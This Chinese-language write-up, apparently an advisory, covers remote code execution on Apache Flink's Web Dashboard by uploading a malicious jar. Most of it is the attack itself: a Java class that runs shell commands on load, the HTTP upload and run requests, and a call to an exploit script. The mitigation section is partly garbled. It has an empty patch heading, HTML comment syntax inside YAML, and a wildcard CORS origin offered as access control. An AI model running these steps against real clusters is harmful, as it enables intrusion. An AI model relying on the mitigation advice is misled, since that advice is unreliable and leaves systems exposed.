Apache Flink 是一个分布式流处理框架,在其Web管理界面中存在一个高危漏洞,允许攻击者通过上传恶意Jar包实现远程代码执行(RCE)。这个漏洞主要影响Flink的Web Dashboard组件。
Flink的Web界面提供了上传Jar包并执行的功能,设计初衷是方便用户提交作业。但由于缺乏足够的权限控制和文件类型校验,攻击者可以:
创建一个包含恶意代码的Java项目,例如:
public class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc.exe"); // Windows
// 或 Runtime.getRuntime().exec("/bin/bash -c 'touch /tmp/pwned'"); // Linux
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译打包为Jar文件:evil.jar
向Flink Web界面发送POST请求:
POST /jars/upload HTTP/1.1
Host: target:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabc123
------WebKitFormBoundaryabc123
Content-Disposition: form-data; name="jarfile"; filename="evil.jar"
Content-Type: application/octet-stream
[恶意Jar文件内容]
------WebKitFormBoundaryabc123--
获取上传的Jar包ID后,提交作业执行:
POST /jars/:jarid/run HTTP/1.1
Host: target:8081
Content-Type: application/json
{
"entryClass": "EvilClass",
"programArgs": ""
}
可以使用现成的漏洞利用工具如:
python flink-rce.py http://target:8081 /path/to/evil.jar
官方补丁
临时缓解措施
<!-- 在flink-conf.yaml中禁用Web上传功能 -->
web.upload.enabled: false
<!-- 或配置访问控制 -->
web.access-control-allow-origin: "*"
web.access-control-allow-headers: "origin, content-type, accept"
网络层防护
/jars/upload
接口,验证是否存在未授权访问此漏洞由于Flink Web界面缺乏严格的权限控制和文件校验机制,导致攻击者可以上传并执行任意Jar包,危害性极高。建议所有使用Flink的企业立即检查并升级到安全版本。